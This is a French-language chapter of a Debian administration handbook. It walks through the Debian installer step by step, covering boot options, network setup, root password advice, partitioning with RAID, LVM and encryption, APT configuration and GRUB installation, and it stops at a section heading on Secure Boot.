→ https://www.debian.org/releases/stable/amd64/ch04s05

4.1.4. Autres méthodes d'installation

Lorsqu'il s'agit de déployer des installations personnalisées sur un grand nombre d'ordinateurs, on opte généralement pour des approches plus automatisées. Selon les cas et la complexité des installations à effectuer, on emploiera plutôt FAI (Fully Automatic Installer, voir Section 12.3.1, « Fully Automatic Installer (FAI) »), ou un DVD-Rom d'installation personnalisé avec préconfiguration (voir Section 12.3.2, « Debian-installer avec préconfiguration »).

Il est également à noter que l'installateur peut charger et lancer un serveur SSH et permet ainsi d'installer Debian à distance en utilisant une session SSH. Les notes de version décrivent également comment lancer l'installateur à partir d'un système existant en utilisant grub pour le remplacer complètement.

4.2. Étapes du programme d'installation

4.2.1. Exécution du programme d'installation

Dès que le BIOS a lancé l'amorçage sur le CD-Rom (ou le DVD-Rom), le menu du chargeur d'amorçage Isolinux apparaît. À ce stade, le noyau Linux n'est pas encore chargé ; ce menu permet justement de choisir le noyau à démarrer et de saisir d'éventuelles options à lui passer.

Pour une installation standard, il suffit de sélectionner (avec les touches flèches) Install ou Graphical install, puis d'appuyer sur la touche Entrée pour enchaîner sur la suite de l'installation. Si le DVD-Rom est de type « Multi-arch » et si la machine dispose d'un processeur 64 bits de Intel ou AMD, ces entrées de menu permettent d'installer la variante 64 bits (amd64) et l'installation pour la variante 32-bits reste disponible dans le sous-menu dédié (32-bit install options). Si vous avez un processeur 32 bits, vous n'avez pas de choix et les entrées de menu installent la variante 32 bits (i386).

POUR ALLER PLUS LOIN 32 ou 64 bits ?

La différence fondamentale entre les systèmes 32-bit et 64-bit est la taille des adresses mémoire. En théorie, un système 32-bit ne peut exploiter plus de 4 Go de mémoire vive (2^32 octets). En pratique, il est possible de contourner cette limite en utilisant la variante 686-pae du noyau à condition que le processeur gère la fonctionnalité PAE (Physical Address Extension). Son usage a toutefois un impact non négligeable sur les performances du système. C'est pourquoi un serveur disposant d'une grande quantité de mémoire vive a tout intérêt à exploiter le mode 64-bit.

Pour un poste bureautique (où quelques pour cent de performance sont négligeables), on sera plus sensible au fait que certains logiciels propriétaires ne sont pas disponibles en version 64-bit. Il est techniquement possible de les faire fonctionner sur le système 64-bit, mais il faudra installer les versions 32-bit de toutes les bibliothèques nécessaires (voir Section 5.4.5, « Support multi-architecture ») et éventuellement faire usage de setarch ou linux32 (dans le paquet util-linux) pour tromper les applications sur la nature du système.

EN PRATIQUE Installation à côté d'un Windows existant

Si l'ordinateur fonctionne déjà sous Windows, il n'est pas nécessaire de supprimer ce système pour installer Debian. On peut en effet disposer des deux systèmes à la fois, chacun installé sur un disque ou une partition, et choisir lequel lancer au démarrage de l'ordinateur. Cette configuration est souvent appelée dual boot et le système d'installation de Debian peut tout à fait la mettre en place. Elle intervient lors de la phase de partitionnement du disque dur et lors de la mise en place du chargeur de démarrage (voir les encadrés EN PRATIQUE Réduire une partition Windows et ATTENTION Chargeur d'amorçage et dual boot).

Si l'on a déjà un Windows fonctionnel, on pourra même se passer de la récupération des CD-Rom ; Debian propose un programme Windows permettant de télécharger un installateur Debian allégé et de le mettre en place sur le disque dur. Il suffit alors de redémarrer l'ordinateur pour choisir entre le lancement normal de Windows et celui du programme d'installation. On le trouve également sur un site web dédié au titre plutôt explicite…

→ https://deb.debian.org/debian/tools/win32-loader/stable/

→ https://people.debian.org/~rmh/goodbye-microsoft/

B.A.-BA Chargeur d'amorçage

Le chargeur d'amorçage (ou de démarrage), bootloader en anglais, est un programme de bas niveau chargé de démarrer le noyau Linux juste après que le BIOS lui a passé la main. Pour mener cette mission à bien, il doit être capable de « retrouver » sur le disque le noyau Linux à démarrer. Sur les architecture amd64 et i386, les deux programmes les plus employés pour effectuer cette tâche sont LILO, le plus ancien, et GRUB, son successeur plus moderne. Isolinux et Syslinux sont des alternatives souvent employées pour démarrer depuis des supports amovibles.

Derrière chaque entrée de menu se cache une ligne de commande de démarrage spécifique que l'on peut personnaliser au besoin en appuyant sur TAB avant de valider et démarrer. L'entrée de menu Help fait apparaître l'ancienne interface en ligne de commande où les touches F1 à F10 affichent différents écrans d'aide détaillant les options possibles à l'invite. Sauf exceptions, vous n'aurez normalement pas besoin de vous servir de cette possibilité.

Le mode « expert » (accessible dans le menu Advanced options, « Options avancées ») détaille toutes les options possibles au cours de l'installation et permet de naviguer entre les différentes étapes sans qu'elles s'enchaînent automatiquement. Attention, ce mode très verbeux pourra dérouter par la multitude des choix de configuration qu'il propose.

Le mode « sauvetage », également accessible dans le menu Advanced options, permet de récupérer un système cassé ou de réparer le booloader. Après avoir affiché les premiers écrans de l'installateur, il permettra de lancer un terminal sur le système de fichier que vous avez sélectionné pour exécuter n'importe quelle action nécessaire, ou de réinstaller le booloader.

→ https://www.debian.org/releases/stable/amd64/ch08s06.fr.html

Figure 4.1. Écran de démarrage

Une fois démarré, le programme d'installation nous guide d'étape en étape tout au long du processus. Cette section détaille chacune d'entre elles, leurs tenants et leurs aboutissants. Nous suivons le déroulement correspondant à un DVD-Rom amd64 (plus précisément, la version RC3 de l'installateur de Bullseye) ; les autres types d'installations (netinst notamment) peuvent varier quelque peu. Nous allons également nous concentrer sur l'installation en mode graphique, mais elle ne diffère de l'installation « classique » que par l'aspect visuel.

4.2.2. Choix de la langue

Le programme d'installation débute en anglais mais la toute première étape consiste à choisir la langue utilisée par la suite. Opter pour le français fournira une installation entièrement traduite (et un système configuré en français à l'issue du processus). Cela permettra également de proposer des choix par défaut plus pertinents lors des étapes suivantes (la disposition du clavier notamment).

B.A.-BA Naviguer grâce au clavier

Certaines étapes du processus d'installation nécessitent une saisie d'informations. Ces écrans disposent alors de plusieurs zones qui peuvent « avoir le focus » (zone de saisie de texte, cases à cocher, liste de choix, boutons OK et Annuler), et la touche Tabulation permet de circuler entre elles.

En mode graphique, on utilise la souris comme on l'utiliserait sur un bureau graphique fonctionnel.

Figure 4.2. Choix de la langue

4.2.3. Choix du pays

La deuxième étape consiste à choisir le pays. Combinée à la langue, cette information permettra de proposer une disposition de clavier encore plus adaptée. Elle influera aussi sur la configuration du fuseau horaire. Dans le cas de la France, un clavier de type AZERTY sera proposé et le fuseau horaire sera Europe/Paris.

Figure 4.3. Choix du pays

4.2.4. Choix de la disposition du clavier

Le clavier Français proposé convient pour les claviers AZERTY traditionnels. Il prend en charge le symbole euro.

Figure 4.4. Choix du clavier

4.2.5. Détection du matériel

Cette étape est entièrement automatique dans la plupart des cas. L'installateur détecte le matériel et cherche notamment à identifier le lecteur de CD-Rom employé afin de pouvoir accéder à son contenu. Il charge les modules correspondant aux différents éléments détectés, puis « monte » le CD-Rom afin de pouvoir le lire. Les étapes précédentes étaient entièrement contenues dans l'image de démarrage intégrée au CD-Rom, fichier de taille limitée et chargé en mémoire par le BIOS lors de l'amorçage du CD-Rom.

L'installateur gère l'immense majorité des lecteurs, en particulier les périphériques ATAPI (parfois appelés IDE ou EIDE) standards. Toutefois, si la détection du lecteur de CD-Rom échoue, l'installateur propose de charger (par exemple, depuis une clé USB) un module noyau correspondant au pilote du CD-Rom.

4.2.6. Chargement des composants

Le contenu du CD-Rom désormais accessible, l'installateur rapatrie tous les fichiers nécessaires à la poursuite de sa tâche. Cela comprend des pilotes supplémentaires pour le reste du matériel (et notamment la carte réseau) ainsi que tous les composants du programme d'installation.

4.2.7. Détection du matériel réseau

Cette étape automatique cherche à identifier la carte réseau et à charger le module correspondant. À défaut de reconnaissance automatique, il est possible de sélectionner manuellement le module à charger. Si aucun module ne fonctionne, il est possible de charger un module spécifique depuis un périphérique amovible. Cette dernière solution ne sert réellement que si le pilote adéquat n'est pas intégré au noyau Linux standard s'il est disponible par ailleurs, par exemple sur le site du fabricant ou les archives/paquets du firmware.

→ https://www.debian.org/devel/debian-installer/#firmware_nonfree

Cette étape doit absolument réussir pour les installations de type netinst puisque les paquets Debian doivent y être chargés sur le réseau.

4.2.8. Configuration du réseau

Soucieux d'automatiser au maximum le processus, l'installateur tente une configuration automatique du réseau par DHCP (pour IPv4) et par découverte du réseau IPv6. Si celle-ci échoue, il propose plusieurs choix : réessayer une configuration DHCP normale, effectuer une configuration DHCP en annonçant un nom de machine, ou mettre en place une configuration statique du réseau.

Cette dernière demande successivement une adresse IP, un masque de sous-réseau, une adresse IP pour une éventuelle passerelle, un nom de machine et un nom de domaine.

ASTUCE Configuration sans DHCP

Si le réseau local est équipé d'un serveur DHCP que vous ne souhaitez pas utiliser, car vous préférez définir une adresse IP statique pour la machine en cours d'installation, vous pourrez lors du démarrage sur le support d'installation ajouter l'option netcfg/use_dhcp=false. Il suffit de se placer sur l'entrée de menu désirée, d'appuyer sur TAB et d'ajouter l'option ci-dessus avant de valider par Entrée.

ATTENTION Ne pas improviser

Beaucoup de réseaux locaux reposant sur une confiance concédée a priori à toutes les machines, une configuration inadéquate d'un ordinateur y cause souvent des dysfonctionnements. Par conséquent, ne connectez pas votre machine à un réseau sans convenir au préalable avec son administrateur des modalités correspondantes (par exemple le numéro IP, le masque réseau, l'adresse de broadcast...).

4.2.9. Mot de passe administrateur

Le compte super-utilisateur root, réservé à l'administrateur de la machine, est automatiquement créé lors de l'installation : c'est pourquoi un mot de passe est demandé. Une confirmation (ou deuxième saisie identique) évitera toute erreur de saisie, difficile à retrouver ensuite. Notez que vous pouvez laisser les deux champs libres si vous voulez désactiver le compte super-utilisateur. Dans ce cas, la connexion de celui-ci sera désactivée et le premier utilisateur normal — qui sera créé par l'installateur à la prochaine étape — aura les droits d'administration grâce à la commande sudo (voir Section 8.9.4, « Partage des droits d'administration »).

SÉCURITÉ Mot de passe administrateur

Le mot de passe de l'utilisateur root doit être long (12 caractères ou plus) et impossible à deviner. En effet, tout ordinateur (et a fortiori tout serveur) connecté à Internet fait régulièrement l'objet de tentatives de connexions automatisées avec les mots de passe les plus évidents. Parfois, il fera même l'objet d'attaques au dictionnaire, où diverses combinaisons de mots et de chiffres sont testées en tant que mots de passe. Évitez aussi les noms des enfants ou parents et autres dates de naissance : de nombreux collègues les connaissent et il est rare que l'on souhaite leur donner libre accès à l'ordinateur concerné.

Ces remarques valent également pour les mots de passe des autres utilisateurs, mais les conséquences d'une compromission sont moindres dans le cas d'un utilisateur sans droits particuliers.

Si l'inspiration vient à manquer, il ne faut pas hésiter à utiliser des générateurs de mot de passe comme pwgen (dans le paquet de même nom).

Figure 4.5. Mot de passe administrateur

4.2.10. Création du premier utilisateur

Debian impose également de créer un compte utilisateur standard pour que l'administrateur ne prenne pas la mauvaise habitude de travailler en tant que root. Le principe de précaution veut en effet que chaque tâche soit effectuée avec le minimum de droits nécessaires, pour limiter l'impact d'une mauvaise manipulation. C'est pourquoi l'installateur vous demandera successivement le nom complet de ce premier utilisateur, son identifiant et son mot de passe (deux fois, pour limiter les risques d'erreur de saisie).

Figure 4.6. Nom du premier utilisateur

4.2.11. Configuration de l'horloge

Si le réseau est disponible, l'horloge interne du système est mise à jour (de façon ponctuelle et instantanée) à l'aide d'un serveur NTP. Les horodatages des logs seront ainsi précis dès le premier démarrage. Pour qu'ils restent précis dans la durée, il faudra tout de même mettre en place un démon NTP après l'installation initiale (voir Section 8.9.2, « Synchronisation horaire »).

4.2.12. Détection des disques et autres périphériques

Cette étape automatique détecte les disques susceptibles d'accueillir Debian. Ils seront proposés dans l'étape suivante : le partitionnement.

4.2.13. Démarrage de l'outil de partitionnement

CULTURE Utilité du partitionnement

Le partitionnement, étape indispensable de l'installation, consiste à diviser l'espace disponible sur les disques durs (chaque sous-partie étant alors appelée une « partition ») en fonction des données à stocker et de l'usage prévu de l'ordinateur. Cette étape intègre aussi le choix des systèmes de fichiers employés. Toutes ces décisions ont une influence en termes de performances, de sécurité des données et d'administration du serveur.

L'étape du partitionnement est traditionnellement difficile pour les utilisateurs débutants. Il faut en effet définir les différentes portions des disques (ou « partitions ») qui accueilleront le système de fichiers de Linux et sa mémoire virtuelle (swap). La tâche se complique si un autre système d'exploitation existe déjà et si on souhaite le conserver. En effet, il faudra alors veiller à ne pas altérer ses partitions (ou à les redimensionner de manière indolore).

Fort heureusement, le logiciel de partitionnement dispose d'un mode « assisté » qui propose à l'utilisateur les partitions à créer. Dans la majorité des cas, il suffit de valider ses propositions.

Figure 4.7. Choix du mode de partitionnement

Le premier écran de l'utilitaire de partitionnement propose d'employer un disque complet pour créer les diverses partitions. Pour un ordinateur (neuf) qui sera dédié à Linux, cette option est vraisemblablement la plus simple et l'on choisira donc l'option Assisté - utiliser un disque entier. Si l'ordinateur compte deux disques pour deux systèmes d'exploitation, consacrer un disque à chacun est également une solution facilitant le partitionnement. Dans ces deux cas, l'écran suivant permet de choisir le disque à consacrer à Linux en validant l'option correspondante (par exemple, SCSI1 (0,0,0) (sda) - 53.7 GB ATA QEMU HARDDISK pour installer Debian sur le premier disque). Vous débutez alors un partitionnement assisté.

Figure 4.8. Disque à utiliser pour le partitionnement assisté

Le partitionnement assisté est également capable de mettre en place des volumes logiques LVM au lieu de partitions (voir plus bas). Le reste du fonctionnement restant le même, nous ne détaillerons pas les options Assisté - utiliser tout un disque avec LVM (chiffré ou non).

Dans les autres cas, quand Linux doit cohabiter avec des partitions déjà présentes, il faudra opter pour un partitionnement manuel.

4.2.13.1. Partitionnement assisté

L'outil de partitionnement assisté propose trois méthodes de partitionnement, qui correspondent à des usages différents.

Figure 4.9. Partitionnement assisté

La première méthode s'intitule Tout dans une seule partition. Toute l'arborescence du système Linux est stockée dans un seul système de fichiers, correspondant à la racine /. Ce partitionnement simple et robuste convient parfaitement pour des ordinateurs personnels ou mono-utilisateurs. En réalité, deux partitions verront le jour : la première abritera le système complet ; la seconde, la mémoire virtuelle.

La deuxième méthode, Partition /home séparée, est similaire mais découpe l'arborescence en deux : une partie contient le système Linux (/) et la seconde les répertoires personnels (c'est-à-dire les données des utilisateurs, dans les fichiers placés sous /home/).

La dernière méthode de partitionnement, intitulée Partitions /home, /var et /tmp séparées, convient pour les serveurs et les systèmes multi-utilisateurs. Elle découpe l'arborescence en de nombreuses partitions : en plus de la racine (/) et des comptes utilisateurs (/home/), elle prévoit des partitions pour les données des logiciels serveurs (/var/) et pour les fichiers temporaires (/tmp/). Ces divisions ont plusieurs avantages. Les utilisateurs ne pourront pas bloquer le serveur en consommant tout l'espace disque disponible (ils ne pourront remplir que /tmp/ et /home/). Les données des démons (et notamment les logs) ne pourront pas non plus bloquer le reste du système.

B.A.-BA Choisir un système de fichiers

Un système de fichiers définit la manière d'organiser les données sur un disque. Chaque système de fichiers existant a ses mérites et ses limitations. Certains sont plus robustes, d'autres plus efficaces : si l'on connaît bien ses besoins, le choix d'un système de fichiers plus adapté est possible. De nombreuses comparaisons ont déjà été réalisées ; il semblerait que ReiserFS soit particulièrement efficace pour la lecture de nombreux petits fichiers ; XFS, quant à lui, est plus véloce avec de gros fichiers. Ext4, le système employé par défaut chez Debian, est un bon compromis, par ailleurs basé sur les trois précédentes versions du système de fichiers historiquement utilisé par Linux (ext, ext2, et ext3). Ext4 corrige certaines limitations de ext3 et est particulièrement adapté aux disques de très grande capacité. Une autre possibilité est d'expérimenter le très prometteur btrfs qui intègre de nombreuses fonctionnalités qui nécessitaient jusqu'à présent l'usage de LVM et/ou RAID.

Un système de fichiers journalisé (comme ext3, ext4, btrfs, reiserfs ou xfs) prend des dispositions particulières afin qu'en cas d'interruption brutale, il soit toujours possible de revenir dans un état cohérent sans être contraint à une analyse complète du disque (comme c'était le cas avec le système ext2). Cette fonctionnalité est obtenue en remplissant un journal décrivant les opérations à effectuer avant de les exécuter réellement. Si une opération est interrompue, il sera possible de la « rejouer » à partir du journal. Inversement, si une interruption a lieu en cours de mise à jour du journal, le dernier changement demandé est simplement ignoré : les données en cours d'écriture sont peut-être perdues, mais les données sur le disque n'ayant pas changé, elles sont restées cohérentes. Il s'agit ni plus ni moins d'un mécanisme transactionnel appliqué au système de fichiers.

Après le choix du type de partitionnement, le logiciel calcule une proposition, qu'il détaille à l'écran et que l'on peut au besoin modifier. On peut notamment choisir un autre système de fichiers si le choix standard (ext4) ne convient pas. Dans la plupart des cas, il suffit cependant d'accepter la proposition de partitionnement en validant l'option Terminer le partitionnement et appliquer les changements.

Figure 4.10. Valider le partitionnement

4.2.13.2. Partitionnement manuel

Le partitionnement manuel offre plus de souplesse et permet de choisir le rôle et la taille de chaque partition. Par ailleurs, ce mode est inévitable pour employer le RAID logiciel.

EN PRATIQUE Réduire une partition Windows

Pour installer Debian à côté d'un système existant (Windows ou autre), il faut disposer d'un espace sur le disque qui ne soit pas utilisé par cet autre système, de manière à pouvoir y créer les partitions dédiées à Debian. Dans la majorité des cas, cela impliquera de réduire la partition Windows et de réutiliser l'espace ainsi libéré.

L'installateur Debian permet d'effectuer cette opération, à condition de l'utiliser en manuel. Il suffit alors de sélectionner la partition Windows et de saisir sa nouvelle taille (cela fonctionne aussi bien avec les partitions FAT que NTFS non chiffrées).

Si Windows utilise des partitions chiffrées par BitLocker, les étapes pour les redimensionner nécessitent d'utiliser la gestion de BitLocker avec l'outil de gestion des disques de Windows.

Le premier écran affiche les disques, les partitions qui les composent et tout éventuel espace libre non encore partitionné. On peut sélectionner chaque élément affiché ; une pression sur la touche Entrée donne alors une liste d'actions possibles.

On peut effacer toutes les partitions d'un disque en sélectionnant celui-ci.

En sélectionnant un espace libre d'un disque, on peut créer manuellement une nouvelle partition. Il est également possible d'y effectuer un partitionnement assisté, solution intéressante pour un disque contenant déjà un système d'exploitation mais que l'on souhaite partitionner pour Linux de manière standard. Reportez-vous à la Section 4.2.13.1, « Partitionnement assisté » pour plus de détails sur le partitionnement assisté.

Figure 4.11. Modifier/créer une partition

B.A.-BA Point de montage

Le point de montage est le répertoire de l'arborescence qui abritera le contenu du système de fichiers de la partition sélectionnée. Ainsi, une partition montée sur /home/ est traditionnellement prévue pour contenir les données des utilisateurs.

Si ce répertoire se nomme « / », on parle alors de la racine de l'arborescence, donc de la partition qui va réellement accueillir le système Debian.

B.A.-BA Mémoire virtuelle, swap

La mémoire virtuelle permet au noyau Linux en manque de mémoire vive (RAM) de libérer un peu de mémoire en stockant sur la partition d'échange, donc sur le disque dur, une partie du contenu de la RAM restée inactive un certain temps. Elle est également essentielle pour les fonctionnalités systèmes de « suspension » et d'« hibernation ».

Pour simuler la mémoire supplémentaire, Windows emploie un fichier d'échange contenu directement sur un système de fichiers. À l'inverse, Linux emploie une partition dédiée à cet usage, d'où le terme de « partition d'échange ». Mais il peut également utiliser un fichier d'échange.

En sélectionnant une partition, on peut indiquer la manière dont on va l'utiliser :

- la formater et l'intégrer à l'arborescence en choisissant un point de montage ;

- l'employer comme partition d'échange (swap) ;

- en faire un volume physique pour chiffrement (pour protéger la confidentialité des données de certaines partitions, voir plus loin) ;

- en faire un volume physique pour LVM (notion détaillée plus loin dans ce chapitre) ;

- l'utiliser comme périphérique RAID (voir plus loin dans ce chapitre) ;

- ou ne pas l'exploiter et la laisser inchangée.

4.2.13.3. Emploi du RAID logiciel

Certains types de RAID permettent de dupliquer les informations stockées sur des disques durs pour éviter toute perte de données en cas de problème matériel condamnant l'un d'entre eux. Le RAID de niveau 1 maintient une simple copie fidèle (miroir) d'un disque sur un autre, alors que le RAID de niveau 5 ou 6 répartit sur plusieurs disques des informations redondantes qui permettront de reconstituer intégralement un disque défaillant.

Nous traiterons ici du RAID de niveau 1, le plus simple à mettre en œuvre. La première étape est de créer deux partitions de taille identique situées sur deux disques différents et de les étiqueter volume physique pour RAID.

Il faut ensuite choisir dans l'outil de partitionnement l'élément Configurer le RAID avec gestion logicielle pour transformer ces deux partitions en un nouveau disque virtuel et sélectionner Créer un périphérique multidisque dans cet écran de configuration. Suit alors une série de questions concernant ce nouveau périphérique. La première s'enquiert du niveau de RAID à employer — RAID1 dans notre cas. La deuxième demande le nombre de périphériques actifs — deux ici, soit le nombre de partitions à intégrer dans ce périphérique RAID logiciel. La troisième question concerne le nombre de périphériques de réserve — zéro ; on n'a prévu aucun disque supplémentaire pour prendre immédiatement la relève d'un éventuel disque défectueux. La dernière question demande de choisir les partitions retenues pour le périphérique RAID — soit les deux qu'on a prévues à cet usage (on veillera bien à ne sélectionner que des partitions mentionnant explicitement raid).

Au retour dans le menu principal, un nouveau disque virtuel RAID apparaît. Ce disque est présenté avec une unique partition qu'on ne peut pas supprimer mais que l'on peut affecter à l'usage de son choix (comme n'importe quelle autre partition).

Pour plus de détails sur le fonctionnement du RAID, on se reportera à la Section 12.1.1, « RAID logiciel ».

4.2.13.4. Emploi de LVM (Logical Volume Manager)

LVM permet de créer des partitions « virtuelles » s'étendant sur plusieurs disques. L'intérêt est double : les tailles des partitions ne sont plus limitées par celles des disques individuels mais par leur volume cumulé et on peut à tout moment augmenter la taille d'une partition existante, en ajoutant au besoin un disque supplémentaire.

LVM emploie une terminologie particulière : une partition virtuelle est un « volume logique », lui-même compris dans un « groupe de volumes », ou association de plusieurs « volumes physiques ». Chacun de ces derniers correspond en fait à une partition « réelle » (ou à une partition RAID logicielle).

Cette technique fonctionne assez simplement : chaque volume, physique ou logique, est découpé en blocs de même taille, que LVM fait correspondre entre eux. L'ajout d'un nouveau disque entraîne la création d'un nouveau volume physique et ses nouveaux blocs pourront être associés à n'importe quel groupe de volumes. Toutes les partitions du groupe de volumes ainsi agrandi disposeront alors d'espace supplémentaire pour s'étendre.

L'outil de partitionnement configure LVM en plusieurs étapes. Il faut d'abord créer sur les disques existants des partitions qui seront les volumes physiques LVM. Pour activer LVM, on choisira Configurer le gestionnaire de volumes logiques (LVM), puis dans cet écran de configuration, Créer un groupe de volumes — auquel on associera les volumes physiques existants. Enfin, on pourra créer des volumes logiques au sein de ce groupe de volumes. On notera que le système de partitionnement automatique est capable de faire toute cette mise en place.

Dans le menu du partitionneur, chaque volume logique apparaît comme un disque avec une seule partition que l'on ne peut pas supprimer mais que l'on peut affecter à l'usage de son choix.

Le fonctionnement de LVM est détaillé dans la Section 12.1.2, « LVM ».

4.2.13.5. Chiffrement de partitions

Pour garantir la confidentialité de vos données, par exemple en cas de perte ou de vol de votre ordinateur ou d'un disque dur, il est possible de chiffrer les données de partitions. Cette fonctionnalité peut se greffer très facilement en amont de n'importe quel système de fichiers puisque, comme pour LVM, Linux (et plus particulièrement le pilote dm-crypt) utilise le Device Mapper pour créer une partition virtuelle (dont le contenu sera protégé) en s'appuyant sur une partition sous-jacente qui stockera les données sous une forme chiffrée (grâce à LUKS — Linux Unified Key Setup soit « Configuration de clés unifiée pour Linux » — un format standard permettant de stocker les données chiffrées mais aussi des méta-informations indiquant les algorithmes de chiffrement employés).

SÉCURITÉ Partition d'échange chiffrée

Lorsqu'une partition chiffrée est employée, la clé de chiffrement est stockée en mémoire vive. Obtenir cette clé permet également de déchiffrer les données. Il est donc vital de ne pas en laisser de copie accessible à l'éventuel voleur de l'ordinateur ou du disque, ou à un technicien de maintenance. C'est pourtant quelque chose qui peut facilement arriver avec un portable, puisque, lors d'une mise en veille prolongée, le contenu de la mémoire vive est stockée sur la partition d'échange. Si celle-ci n'est pas elle-même chiffrée, le voleur peut la récupérer et l'utiliser pour déchiffrer les données des partitions chiffrées. C'est pourquoi, lorsque vous employez des partitions chiffrées, il est impératif de chiffrer également la partition d'échange !

L'installateur Debian prévient l'utilisateur lorsqu'il essaye de créer une partition chiffrée et que la partition d'échange ne l'est pas.

Pour créer une partition chiffrée, il faut d'abord attribuer une partition disponible à cet usage. Pour cela, il convient de la sélectionner et d'indiquer qu'elle sera utilisée comme volume physique pour chiffrement. Ensuite, et après que le partitionnement du disque contenant ce volume physique a été effectué, vous devrez sélectionner Configurer les volumes chiffrés. Il sera alors proposé d'initialiser le volume physique avec des données aléatoires (rendant plus difficile la localisation des données réelles) puis de saisir une phrase secrète de chiffrement qu'il vous faudra saisir à chaque démarrage de votre ordinateur afin d'accéder au contenu de votre partition chiffrée. Une fois cette étape terminée et de retour au menu de l'outil de partitionnement, une nouvelle partition est disponible dans un volume chiffré et vous pouvez désormais la configurer comme n'importe quelle autre partition. Le plus souvent, cette partition sera utilisée comme volume physique pour LVM afin de pouvoir protéger plusieurs partitions (volumes logiques LVM) avec la même clé de chiffrement, dont notamment la partition d'échange (voir encadré SÉCURITÉ Partition d'échange chiffrée).

4.2.14. Installation du système de base Debian

Cette étape, qui ne demande pas d'interaction de la part de l'utilisateur, installe les paquets du « système de base » de Debian. Celui-ci comprend les outils dpkg et apt, qui gèrent les paquets Debian, ainsi que les utilitaires nécessaires pour démarrer le système et commencer à l'exploiter.

Figure 4.12. Installation du système de base

4.2.15. Configuration de l'outil de gestion des paquets (apt)

Pour que l'on puisse installer des logiciels supplémentaires, il est nécessaire de configurer APT, en lui indiquant où trouver les paquets Debian. Cette étape est aussi automatisée que possible.

NOTE CD-Rom Debian dans le lecteur

Si l'installateur détecte un disque d'installation Debian dans le lecteur de CD-Rom, il n'est pas toujours nécessaire de configurer APT pour aller chercher des paquets sur le réseau : il est automatiquement configuré pour lire les paquets depuis ce lecteur. Si le disque fait partie d'un jeu de plusieurs, il proposera cependant d'« explorer » d'autres disques afin de référencer tous les paquets qu'ils stockent.

S'il faut utiliser des paquets en provenance du réseau, l'installateur permet de sélectionner un serveur sur lequel aller chercher ces paquets, en choisissant d'abord un pays, puis un miroir disponible dans ce pays (il s'agit d'un serveur public qui met à disposition une copie de tous les fichiers du serveur de Debian).

Figure 4.13. Choix d'un miroir Debian

Enfin, le programme propose de recourir à un mandataire (proxy) HTTP. En son absence, l'accès à Internet sera direct. Si l'on tape http://proxy.falcot.com:3128, APT fera appel au proxy/cache de Falcot, un programme « Squid ». Il est possible de retrouver ces paramètres en consultant la configuration d'un navigateur web sur une autre machine connectée au même réseau.

Les fichiers Packages.xz et Sources.xz sont ensuite automatiquement téléchargés pour mettre à jour la liste des paquets reconnus par APT.

B.A.-BA Mandataire HTTP, proxy

Un mandataire (ou proxy) HTTP est un serveur effectuant une requête HTTP pour le compte des utilisateurs du réseau. Il permet parfois d'accélérer les téléchargements en gardant une copie des fichiers ayant transité par son biais (on parle alors de proxy/cache). Dans certains cas, c'est le seul moyen d'accéder à un serveur web externe ; il est alors indispensable de renseigner la question correspondante de l'installation pour que le programme puisse récupérer les paquets Debian par son intermédiaire.

Squid est le nom du logiciel serveur employé par Falcot SA pour offrir ce service.

4.2.16. Concours de popularité des paquets

Le système Debian contient un paquet popularity-contest, dont le but est de compiler des statistiques d'utilisation des paquets. Ce programme collecte chaque semaine des informations sur les paquets installés et ceux utilisés récemment et les envoie de manière anonyme aux serveurs du projet Debian. Le projet peut alors tirer parti de ces informations pour déterminer l'importance relative de chaque paquet, ce qui influe sur la priorité qui lui sera accordée. En particulier, les paquets les plus « populaires » se retrouveront sur le premier CD-Rom d'installation, ce qui en facilitera l'accès pour les utilisateurs ne souhaitant pas télécharger ou acheter le jeu complet.

Ce paquet n'est activé que sur demande, par respect pour la confidentialité des usages des utilisateurs.

4.2.17. Sélection des paquets à installer

L'étape suivante permet de choisir de manière très grossière le type d'utilisation de la machine ; les douze tâches présentées correspondent à des listes de paquets à installer. La liste des paquets réellement installés sera affinée et complétée par la suite, mais cette étape donne une bonne base très simplement.

Cette étape peut demander un ensemble complet de supports d'installation ou une connexion à Internet et un miroir actif comme détaillé ci-dessus.

Certains paquets sont par ailleurs automatiquement installés en fonction du matériel détecté (grâce au programme discover-pkginstall du paquet discover).

Figure 4.14. Choix des tâches

4.2.18. Installation du chargeur d'amorçage GRUB

Le chargeur d'amorçage est le premier programme démarré par le BIOS. Ce programme charge en mémoire le noyau Linux puis l'exécute. Souvent, il propose un menu permettant de choisir le noyau à charger et/ou le système d'exploitation à démarrer.

ATTENTION Chargeur d'amorçage et dual boot

Cette phase du programme d'installation Debian détecte les systèmes d'exploitation déjà installés sur l'ordinateur et ajoute automatiquement des choix correspondants dans le menu de démarrage ; mais tous les programmes d'installation ne font pas de même.

En particulier, si l'on installe (ou réinstalle) Windows par la suite, le chargeur de démarrage sera écrasé. Debian sera alors toujours présent sur le disque dur, mais plus accessible par le menu de démarrage (à l'exception de Windows 10, où il sera toujours accessible par la console de récupération Windws). Il faudra alors démarrer sur le système d'installation de Debian en mode rescue pour remettre en place un chargeur de démarrage moins exclusif. L'opération est décrite en détail dans le manuel d'installation.

→ https://www.debian.org/releases/stable/amd64/ch08s06

Le menu proposé par GRUB contient par défaut tous les noyaux Linux installés ainsi que tous les autres systèmes d'exploitation détectés. C'est pourquoi on acceptera la proposition de l'installer dans le Master Boot Record (MBR). Puisque garder les anciennes versions préserve la capacité à amorcer le système même si le dernier noyau installé est défectueux ou mal adapté au matériel, il est judicieux de conserver quelques anciennes versions de noyau.

GRUB est le chargeur d'amorçage installé en standard par Debian, en raison de sa supériorité technique : il traite la plupart des systèmes de fichiers et n'a donc pas besoin d'être mis à jour à chaque installation d'un nouveau noyau car, lors de l'amorçage, il lit sa configuration et retrouve la position exacte du nouveau noyau. Sa version 1 (désormais connue sous le nom « Grub Legacy ») ne gérait pas toutes les combinaisons de LVM et de RAID logiciel ; la version 2, installée par défaut, est plus complète. Bien qu'il puisse rester des situations où il est plus préférable d'installer LILO (un autre chargeur d'amorçage) ; l'installateur de Debian ne supporte plus son installation.

Il convient de noter que GRUB n'est pas un simple chargeur d'amorçage, il s'agit plutôt d'une collection de chargeur d'amorçage adaptés à différents cas. Les nombreux paquets binaires construits à partir du paquet source de GRUB en sont le reflet : grub-efi-amd64 est destiné au démarrage de PC 64 bits en mode UEFI, grub-efi-ia32 est destiné au démarrage de PC 32 bits en mode UEFI, grub-pc est pour le démarrage du PC en mode BIOS, grub-uboot pour les ordinateurs à base d'architecture ARM, etc.

Pour plus d'informations sur la configuration de GRUB, vous pouvez consulter la Section 8.8.2, « Configuration de GRUB 2 ».

CULTURE Secure Boot et le chargeur d'amorçage shim

